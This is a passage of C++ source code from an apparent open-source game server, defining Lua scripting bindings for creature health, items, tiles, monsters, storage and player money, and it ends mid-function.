int32_t LuaScriptInterface::luaDoCreatureAddHealth(lua_State* L)
{
    //doCreatureAddHealth(uid, health[, hitEffect[, hitColor[, force]]])
    int32_t params = lua_gettop(L);
    bool force = false;
    if(params > 4)
        force = popNumber(L);

    TextColor_t hitColor = TEXTCOLOR_UNKNOWN;
    if(params > 3)
        hitColor = (TextColor_t)popNumber(L);

    MagicEffect_t hitEffect = MAGIC_EFFECT_UNKNOWN;
    if(params > 2)
        hitEffect = (MagicEffect_t)popNumber(L);

    int32_t healthChange = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        if(healthChange) //do not post with 0 value
            g_game.combatChangeHealth(healthChange < 1 ? COMBAT_UNDEFINEDDAMAGE : COMBAT_HEALING,
                NULL, creature, healthChange, hitEffect, hitColor, force);

        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoCreatureAddMana(lua_State* L)
{
    //doCreatureAddMana(uid, mana[, aggressive])
    bool aggressive = true;
    if(lua_gettop(L) > 2)
        aggressive = popNumber(L);

    int32_t manaChange = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        if(aggressive)
            g_game.combatChangeMana(NULL, creature, manaChange);
        else
            creature->changeMana(manaChange);

        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddSpentMana(lua_State* L)
{
    //doPlayerAddSpentMana(cid, amount[, useMultiplier])
    bool multiplier = true;
    if(lua_gettop(L) > 2)
        multiplier = popNumber(L);

    uint32_t amount = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->addManaSpent(amount, multiplier);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddItem(lua_State* L)
{
    //doPlayerAddItem(cid, itemid[, count/subtype[, canDropOnMap]])
    //doPlayerAddItem(cid, itemid[, count[, canDropOnMap[, subtype]]])
    int32_t params = lua_gettop(L), subType = 1;
    if(params > 4)
        subType = popNumber(L);

    bool canDropOnMap = true;
    if(params > 3)
        canDropOnMap = popNumber(L);

    uint32_t count = 1;
    if(params > 2)
        count = popNumber(L);

    uint32_t itemId = popNumber(L);
    ScriptEnviroment* env = getEnv();

    Player* player = env->getPlayerByUID((uint32_t)popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    const ItemType& it = Item::items[itemId];
    int32_t itemCount = 1;
    if(params > 4)
        itemCount = std::max((uint32_t)1, count);
    else if(it.hasSubType())
    {
        if(it.stackable)
            itemCount = (int32_t)std::ceil((float)count / 100);

        subType = count;
    }

    while(itemCount > 0)
    {
        int32_t stackCount = std::min(100, subType);
        Item* newItem = Item::CreateItem(itemId, stackCount);
        if(!newItem)
        {
            errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }

        if(it.stackable)
            subType -= stackCount;

        ReturnValue ret = g_game.internalPlayerAddItem(NULL, player, newItem, canDropOnMap);
        if(ret != RET_NOERROR)
        {
            delete newItem;
            lua_pushboolean(L, false);
            return 1;
        }

        --itemCount;
        if(itemCount)
            continue;

        if(newItem->getParent())
            lua_pushnumber(L, env->addThing(newItem));
        else //stackable item stacked with existing object, newItem will be released
            lua_pushnil(L);

        return 1;
    }

    lua_pushnil(L);
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddItemEx(lua_State* L)
{
    //doPlayerAddItemEx(cid, uid[, canDropOnMap = false])
    bool canDropOnMap = false;
    if(lua_gettop(L) > 2)
        canDropOnMap = popNumber(L);

    uint32_t uid = (uint32_t)popNumber(L);
    ScriptEnviroment* env = getEnv();

    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Item* item = env->getItemByUID(uid);
    if(!item)
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    if(item->getParent() == VirtualCylinder::virtualCylinder)
        lua_pushnumber(L, g_game.internalPlayerAddItem(NULL, player, item, canDropOnMap));
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaDoTileAddItemEx(lua_State* L)
{
    //doTileAddItemEx(pos, uid)
    uint32_t uid = (uint32_t)popNumber(L);
    PositionEx pos;
    popPosition(L, pos);

    ScriptEnviroment* env = getEnv();
    Tile* tile = g_game.getTile(pos.x, pos.y, pos.z);
    if(!tile)
    {
        errorEx(getError(LUA_ERROR_TILE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Item* item = env->getItemByUID(uid);
    if(!item)
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    if(item->getParent() == VirtualCylinder::virtualCylinder)
        lua_pushnumber(L, g_game.internalAddItem(NULL, tile, item));
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaDoRelocate(lua_State* L)
{
    //doRelocate(pos, posTo[, creatures = true])
    //Moves all moveable objects from pos to posTo

    bool creatures = true;
    if(lua_gettop(L) > 2)
        creatures = popNumber(L);

    PositionEx toPos;
    popPosition(L, toPos);

    PositionEx fromPos;
    popPosition(L, fromPos);

    Tile* fromTile = g_game.getTile(fromPos.x, fromPos.y, fromPos.z);
    if(!fromTile)
    {
        errorEx(getError(LUA_ERROR_TILE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Tile* toTile = g_game.getTile(toPos.x, toPos.y, toPos.z);
    if(!toTile)
    {
        errorEx(getError(LUA_ERROR_TILE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    if(fromTile != toTile)
    {
        for(int32_t i = fromTile->getThingCount() - 1; i >= 0; --i)
        {
            Thing* thing = fromTile->__getThing(i);
            if(thing)
            {
                if(Item* item = thing->getItem())
                {
                    const ItemType& it = Item::items[item->getID()];
                    if(!it.isGroundTile() && !it.alwaysOnTop && !it.isMagicField())
                        g_game.internalTeleport(item, toPos, false, FLAG_IGNORENOTMOVEABLE);
                }
                else if(creatures)
                {
                    Creature* creature = thing->getCreature();
                    if(creature)
                        g_game.internalTeleport(creature, toPos, true);
                }
            }
        }
    }

    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoCleanTile(lua_State* L)
{
    //doCleanTile(pos, forceMapLoaded = false)
    //Remove all items from tile, ignore creatures
    bool forceMapLoaded = false;
    if(lua_gettop(L) > 1)
        forceMapLoaded = popNumber(L);

    PositionEx pos;
    popPosition(L, pos);

    Tile* tile = g_game.getTile(pos);
    if(!tile)
    {
        errorEx(getError(LUA_ERROR_TILE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    for(int32_t i = tile->getThingCount() - 1; i >= 1; --i) //ignore ground
    {
        if(Thing* thing = tile->__getThing(i))
        {
            if(Item* item = thing->getItem())
            {
                if(!item->isLoadedFromMap() || forceMapLoaded)
                    g_game.internalRemoveItem(NULL, item);
            }
        }
    }

    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSendTextMessage(lua_State* L)
{
    //doPlayerSendTextMessage(cid, MessageClasses, message)
    std::string text = popString(L);
    uint32_t messageClass = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    player->sendTextMessage((MessageClasses)messageClass, text);
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSendChannelMessage(lua_State* L)
{
    //doPlayerSendChannelMessage(cid, author, message, SpeakClasses, channel)
    uint16_t channelId = popNumber(L);
    uint32_t speakClass = popNumber(L);
    std::string text = popString(L), name = popString(L);

    ScriptEnviroment* env = getEnv();
    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    player->sendChannelMessage(name, text, (SpeakClasses)speakClass, channelId);
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSendToChannel(lua_State* L)
{
    //doPlayerSendToChannel(cid, targetId, SpeakClasses, message, channel[, time])
    ScriptEnviroment* env = getEnv();
    uint32_t time = 0;
    if(lua_gettop(L) > 5)
        time = popNumber(L);

    uint16_t channelId = popNumber(L);
    std::string text = popString(L);
    uint32_t speakClass = popNumber(L), targetId = popNumber(L);

    Player* player = env->getPlayerByUID(popNumber(L));
    if(!player)
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Creature* creature = env->getCreatureByUID(targetId);
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    player->sendToChannel(creature, (SpeakClasses)speakClass, text, channelId, time);
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoSendAnimatedText(lua_State* L)
{
    //doSendAnimatedText(pos, text, color[, player])
    ScriptEnviroment* env = getEnv();
    SpectatorVec list;
    if(lua_gettop(L) > 3)
    {
        if(Creature* creature = env->getCreatureByUID(popNumber(L)))
            list.push_back(creature);
    }

    uint32_t color = popNumber(L);
    std::string text = popString(L);

    PositionEx pos;
    popPosition(L, pos);
    if(pos.x == 0xFFFF)
        pos = env->getRealPos();

    if(!list.empty())
        g_game.addAnimatedText(list, pos, color, text);
    else
        g_game.addAnimatedText(pos, color, text);

    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerSkillLevel(lua_State* L)
{
    //getPlayerSkillLevel(cid, skillid)
    uint32_t skillId = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(const Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(skillId <= SKILL_LAST)
            lua_pushnumber(L, player->skills[skillId][SKILL_LEVEL]);
        else
            lua_pushboolean(L, false);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerSkillTries(lua_State* L)
{
    //getPlayerSkillTries(cid, skillid)
    uint32_t skillid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(const Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(skillid <= SKILL_LAST)
            lua_pushnumber(L, player->skills[skillid][SKILL_TRIES]);
        else
            lua_pushboolean(L, false);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoCreatureSetDropLoot(lua_State* L)
{
    //doCreatureSetDropLoot(cid, doDrop)
    bool doDrop = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        creature->setDropLoot(doDrop ? LOOT_DROP_FULL : LOOT_DROP_NONE);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerLossPercent(lua_State* L)
{
    //getPlayerLossPercent(cid, lossType)
    uint8_t lossType = (uint8_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(const Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(lossType <= LOSS_LAST)
        {
            uint32_t value = player->getLossPercent((lossTypes_t)lossType);
            lua_pushnumber(L, value);
        }
        else
            lua_pushboolean(L, false);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetLossPercent(lua_State* L)
{
    //doPlayerSetLossPercent(cid, lossType, newPercent)
    uint32_t newPercent = popNumber(L);
    uint8_t lossType = (uint8_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(lossType <= LOSS_LAST)
        {
            player->setLossPercent((lossTypes_t)lossType, newPercent);
            lua_pushboolean(L, true);
        }
        else
            lua_pushboolean(L, false);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetLossSkill(lua_State* L)
{
    //doPlayerSetLossSkill(cid, doLose)
    bool doLose = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->setLossSkill(doLose);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoShowTextDialog(lua_State* L)
{
    //doShowTextDialog(cid, itemid, text)
    std::string text = popString(L);
    uint32_t itemId = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->setWriteItem(NULL, 0);
        player->sendTextWindow(itemId, text);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoDecayItem(lua_State* L)
{
    //doDecayItem(uid)
    //Note: to stop decay set decayTo = 0 in items.xml
    ScriptEnviroment* env = getEnv();
    if(Item* item = env->getItemByUID(popNumber(L)))
    {
        g_game.startDecay(item);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetThingFromPos(lua_State* L)
{
    //getThingFromPos(pos[, displayError = true])
    //Note:
    //    stackpos = 255- top thing (movable item or creature)
    //    stackpos = 254- magic field
    //    stackpos = 253- top creature

    bool displayError = true;
    if(lua_gettop(L) > 1)
        displayError = popNumber(L);

    PositionEx pos;
    popPosition(L, pos);

    ScriptEnviroment* env = getEnv();
    Thing* thing = NULL;
    if(Tile* tile = g_game.getMap()->getTile(pos))
    {
        if(pos.stackpos == 255)
        {
            if(!(thing = tile->getTopCreature()))
            {
                Item* item = tile->getTopDownItem();
                if(item && item->isMoveable())
                    thing = item;
            }
        }
        else if(pos.stackpos == 254)
            thing = tile->getFieldItem();
        else if(pos.stackpos == 253)
            thing = tile->getTopCreature();
        else
            thing = tile->__getThing(pos.stackpos);

        if(thing)
            pushThing(L, thing, env->addThing(thing));
        else
            pushThing(L, NULL, 0);

        return 1;
    }

    if(displayError)
        errorEx(getError(LUA_ERROR_TILE_NOT_FOUND));

    pushThing(L, NULL, 0);
    return 1;
}

int32_t LuaScriptInterface::luaGetTileItemById(lua_State* L)
{
    //getTileItemById(pos, itemId[, subType = -1])
    ScriptEnviroment* env = getEnv();

    int32_t subType = -1;
    if(lua_gettop(L) > 2)
        subType = (int32_t)popNumber(L);

    int32_t itemId = (int32_t)popNumber(L);
    PositionEx pos;
    popPosition(L, pos);

    Tile* tile = g_game.getTile(pos);
    if(!tile)
    {
        pushThing(L, NULL, 0);
        return 1;
    }

    Item* item = g_game.findItemOfType(tile, itemId, false, subType);
    if(!item)
    {
        pushThing(L, NULL, 0);
        return 1;
    }

    pushThing(L, item, env->addThing(item));
    return 1;
}

int32_t LuaScriptInterface::luaGetTileItemByType(lua_State* L)
{
    //getTileItemByType(pos, type)
    uint32_t rType = (uint32_t)popNumber(L);
    if(rType >= ITEM_TYPE_LAST)
    {
        errorEx("Not a valid item type");
        pushThing(L, NULL, 0);
        return 1;
    }

    PositionEx pos;
    popPosition(L, pos);

    Tile* tile = g_game.getTile(pos);
    if(!tile)
    {
        pushThing(L, NULL, 0);
        return 1;
    }

    bool found = true;
    switch((ItemTypes_t)rType)
    {
        case ITEM_TYPE_TELEPORT:
        {
            if(!tile->hasFlag(TILESTATE_TELEPORT))
                found = false;

            break;
        }
        case ITEM_TYPE_MAGICFIELD:
        {
            if(!tile->hasFlag(TILESTATE_MAGICFIELD))
                found = false;

            break;
        }
        case ITEM_TYPE_MAILBOX:
        {
            if(!tile->hasFlag(TILESTATE_MAILBOX))
                found = false;

            break;
        }
        case ITEM_TYPE_TRASHHOLDER:
        {
            if(!tile->hasFlag(TILESTATE_TRASHHOLDER))
                found = false;

            break;
        }
        case ITEM_TYPE_BED:
        {
            if(!tile->hasFlag(TILESTATE_BED))
                found = false;

            break;
        }
        default:
            break;
    }

    if(!found)
    {
        pushThing(L, NULL, 0);
        return 1;
    }

    ScriptEnviroment* env = getEnv();
    Item* item = NULL;
    for(uint32_t i = 0; i < tile->getThingCount(); ++i)
    {
        if(!(item = tile->__getThing(i)->getItem()))
            continue;

        if(Item::items[item->getID()].type != (ItemTypes_t)rType)
            continue;

        pushThing(L, item, env->addThing(item));
        return 1;
    }

    pushThing(L, NULL, 0);
    return 1;
}

int32_t LuaScriptInterface::luaGetTileThingByPos(lua_State* L)
{
    //getTileThingByPos(pos)
    PositionEx pos;
    popPosition(L, pos);

    ScriptEnviroment* env = getEnv();

    Tile* tile = g_game.getTile(pos.x, pos.y, pos.z);
    if(!tile)
    {
        if(pos.stackpos == -1)
        {
            lua_pushnumber(L, -1);
            return 1;
        }
        else
        {
            pushThing(L, NULL, 0);
            return 1;
        }
    }

    if(pos.stackpos == -1)
    {
        lua_pushnumber(L, tile->getThingCount());
        return 1;
    }

    Thing* thing = tile->__getThing(pos.stackpos);
    if(!thing)
    {
        pushThing(L, NULL, 0);
        return 1;
    }

    pushThing(L, thing, env->addThing(thing));
    return 1;
}

int32_t LuaScriptInterface::luaGetTopCreature(lua_State* L)
{
    //getTopCreature(pos)
    PositionEx pos;
    popPosition(L, pos);

    ScriptEnviroment* env = getEnv();
    Tile* tile = g_game.getTile(pos);
    if(!tile)
    {
        pushThing(L, NULL, 0);
        return 1;
    }

    Thing* thing = tile->getTopCreature();
    if(!thing || !thing->getCreature())
    {
        pushThing(L, NULL, 0);
        return 1;
    }

    pushThing(L, thing, env->addThing(thing));
    return 1;
}

int32_t LuaScriptInterface::luaDoCreateItem(lua_State* L)
{
    //doCreateItem(itemid[, type/count], pos)
    //Returns uid of the created item, only works on tiles.
    PositionEx pos;
    popPosition(L, pos);

    uint32_t count = 1;
    if(lua_gettop(L) > 1)
        count = popNumber(L);

    uint32_t itemId = popNumber(L);
    ScriptEnviroment* env = getEnv();

    Tile* tile = g_game.getTile(pos);
    if(!tile)
    {
        errorEx(getError(LUA_ERROR_TILE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    const ItemType& it = Item::items[itemId];
    int32_t itemCount = 1, subType = 1;
    if(it.hasSubType())
    {
        if(it.stackable)
            itemCount = (int32_t)std::ceil((float)count / 100);

        subType = count;
    }
    else
        itemCount = std::max((uint32_t)1, count);

    while(itemCount > 0)
    {
        int32_t stackCount = std::min(100, subType);
        Item* newItem = Item::CreateItem(itemId, stackCount);
        if(!newItem)
        {
            errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }

        if(it.stackable)
            subType -= stackCount;

        ReturnValue ret = g_game.internalAddItem(NULL, tile, newItem, INDEX_WHEREEVER, FLAG_NOLIMIT);
        if(ret != RET_NOERROR)
        {
            delete newItem;
            lua_pushboolean(L, false);
            return 1;
        }

        --itemCount;
        if(itemCount)
            continue;

        if(newItem->getParent())
            lua_pushnumber(L, env->addThing(newItem));
        else //stackable item stacked with existing object, newItem will be released
            lua_pushnil(L);

        return 1;
    }

    lua_pushnil(L);
    return 1;
}

int32_t LuaScriptInterface::luaDoCreateItemEx(lua_State* L)
{
    //doCreateItemEx(itemid[, count/subType])
    uint32_t count = 0;
    if(lua_gettop(L) > 1)
        count = popNumber(L);

    ScriptEnviroment* env = getEnv();
    const ItemType& it = Item::items[(uint32_t)popNumber(L)];
    if(it.stackable && count > 100)
        count = 100;

    Item* newItem = Item::CreateItem(it.id, count);
    if(!newItem)
    {
        errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    newItem->setParent(VirtualCylinder::virtualCylinder);
    env->addTempItem(env, newItem);

    lua_pushnumber(L, env->addThing(newItem));
    return 1;
}

int32_t LuaScriptInterface::luaDoCreateTeleport(lua_State* L)
{
    //doCreateTeleport(itemid, toPosition, fromPosition)
    PositionEx createPos;
    popPosition(L, createPos);
    PositionEx toPos;
    popPosition(L, toPos);

    uint32_t itemId = (uint32_t)popNumber(L);
    ScriptEnviroment* env = getEnv();

    Tile* tile = g_game.getMap()->getTile(createPos);
    if(!tile)
    {
        errorEx(getError(LUA_ERROR_TILE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Item* newItem = Item::CreateItem(itemId);
    Teleport* newTeleport = newItem->getTeleport();
    if(!newTeleport)
    {
        delete newItem;
        lua_pushboolean(L, false);
        return 1;
    }

    newTeleport->setDestination(toPos);
    if(g_game.internalAddItem(NULL, tile, newTeleport, INDEX_WHEREEVER, FLAG_NOLIMIT) != RET_NOERROR)
    {
        delete newItem;
        lua_pushboolean(L, false);
        return 1;
    }

    if(newItem->getParent())
        lua_pushnumber(L, env->addThing(newItem));
    else //stackable item stacked with existing object, newItem will be released
        lua_pushnil(L);

    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureStorage(lua_State* L)
{
    //getCreatureStorage(cid, key)
    uint32_t key = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        std::string strValue;
        if(creature->getStorage(key, strValue))
        {
            int32_t intValue = atoi(strValue.c_str());
            if(intValue || strValue == "0")
                lua_pushnumber(L, intValue);
            else
                lua_pushstring(L, strValue.c_str());
        }
        else
            lua_pushnumber(L, -1);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoCreatureSetStorage(lua_State* L)
{
    //doCreatureSetStorage(cid, key[, value])
    std::string value;
    bool nil = true;
    if(lua_gettop(L) > 2)
    {
        if(!lua_isnil(L, -1))
        {
            value = popString(L);
            nil = false;
        }
        else
            lua_pop(L, 1);
    }

    uint32_t key = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        if(!nil)
            nil = creature->setStorage(key, value);
        else
            creature->eraseStorage(key);

        lua_pushboolean(L, nil);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetTileInfo(lua_State* L)
{
    //getTileInfo(pos)
    PositionEx pos;
    popPosition(L, pos);
    if(Tile* tile = g_game.getMap()->getTile(pos))
    {
        ScriptEnviroment* env = getEnv();
        pushThing(L, tile->ground, env->addThing(tile->ground));

        setFieldBool(L, "protection", tile->hasFlag(TILESTATE_PROTECTIONZONE));
        setFieldBool(L, "nopvp", tile->hasFlag(TILESTATE_NOPVPZONE));
        setFieldBool(L, "nologout", tile->hasFlag(TILESTATE_NOLOGOUT));
        setFieldBool(L, "pvp", tile->hasFlag(TILESTATE_PVPZONE));
        setFieldBool(L, "refresh", tile->hasFlag(TILESTATE_REFRESH));
        setFieldBool(L, "trashed", tile->hasFlag(TILESTATE_TRASHED));
        setFieldBool(L, "house", tile->hasFlag(TILESTATE_HOUSE));
        setFieldBool(L, "bed", tile->hasFlag(TILESTATE_BED));
        setFieldBool(L, "depot", tile->hasFlag(TILESTATE_DEPOT));

        setField(L, "things", tile->getThingCount());
        setField(L, "creatures", tile->getCreatureCount());
        setField(L, "items", tile->getItemCount());
        setField(L, "topItems", tile->getTopItemCount());
        setField(L, "downItems", tile->getDownItemCount());
    }
    else
    {
        errorEx(getError(LUA_ERROR_TILE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetHouseFromPos(lua_State* L)
{
    //getHouseFromPos(pos)
    PositionEx pos;
    popPosition(L, pos);

    Tile* tile = g_game.getMap()->getTile(pos);
    if(!tile)
    {
        errorEx(getError(LUA_ERROR_TILE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    HouseTile* houseTile = tile->getHouseTile();
    if(!houseTile)
    {
        lua_pushboolean(L, false);
        return 1;
    }

    House* house = houseTile->getHouse();
    if(!house)
    {
        lua_pushboolean(L, false);
        return 1;
    }

    lua_pushnumber(L, house->getId());
    return 1;
}

int32_t LuaScriptInterface::luaDoCreateMonster(lua_State* L)
{
    //doCreateMonster(name, pos[, displayError = true])
    bool displayError = true;
    if(lua_gettop(L) > 2)
        displayError = popNumber(L);

    PositionEx pos;
    popPosition(L, pos);

    std::string name = popString(L);
    Monster* monster = Monster::createMonster(name.c_str());
    if(!monster)
    {
        if(displayError)
            errorEx("Monster with name '" + name + "' not found");

        lua_pushboolean(L, false);
        return 1;
    }

    if(!g_game.placeCreature(monster, pos))
    {
        delete monster;
        if(displayError)
            errorEx("Cannot create monster: " + name);

        lua_pushboolean(L, true);
        return 1;
    }

    ScriptEnviroment* env = getEnv();
    lua_pushnumber(L, env->addThing((Thing*)monster));
    return 1;
}

int32_t LuaScriptInterface::luaDoCreateNpc(lua_State* L)
{
    //doCreateNpc(name, pos[, displayError = true])
    bool displayError = true;
    if(lua_gettop(L) > 2)
        displayError = popNumber(L);

    PositionEx pos;
    popPosition(L, pos);

    std::string name = popString(L);
    Npc* npc = Npc::createNpc(name.c_str());
    if(!npc)
    {
        if(displayError)
            errorEx("Npc with name '" + name + "' not found");

        lua_pushboolean(L, false);
        return 1;
    }

    if(!g_game.placeCreature(npc, pos))
    {
        delete npc;
        if(displayError)
            errorEx("Cannot create npc: " + name);

        lua_pushboolean(L, true); //for scripting compatibility
        return 1;
    }

    ScriptEnviroment* env = getEnv();
    lua_pushnumber(L, env->addThing((Thing*)npc));
    return 1;
}

int32_t LuaScriptInterface::luaDoRemoveCreature(lua_State* L)
{
    //doRemoveCreature(cid[, forceLogout = true])
    bool forceLogout = true;
    if(lua_gettop(L) > 1)
        forceLogout = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        if(Player* player = creature->getPlayer())
            player->kickPlayer(true, forceLogout); //Players will get kicked without restrictions
        else
            g_game.removeCreature(creature); //Monsters/NPCs will get removed

        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerAddMoney(lua_State* L)
{
    //doPlayerAddMoney(cid, money)
    uint64_t money = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        g_game.addMoney(player, money);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerRemoveMoney(lua_State* L)
{
    //doPlayerRemoveMoney(cid,money)
    uint64_t money = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
        lua_pushboolean(L, g_game.removeMoney(player, money));
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerTransferMoneyTo(lua_State* L)
{
    //doPlayerTransferMoneyTo(cid, target, money)
    uint64_t money = popNumber(L);
    std::string target = popString(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
        lua_pushboolean(L, player->transferMoneyTo(target, money));
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetPzLocked(lua_State* L)
{
    //doPlayerSetPzLocked(cid, locked)
    bool locked = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(player->isPzLocked() != locked)
        {
            player->setPzLocked(locked);
            player->sendIcons();
        }

        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetTown(lua_State* L)
{
    //doPlayerSetTown(cid, townid)
    uint32_t townid = (uint32_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(Town* town = Towns::getInstance()->getTown(townid))
        {
            player->setMasterPosition(town->getPosition());
            player->setTown(townid);
            lua_pushboolean(L, true);
        }
        else
            lua_pushboolean(L, false);
    }
    else
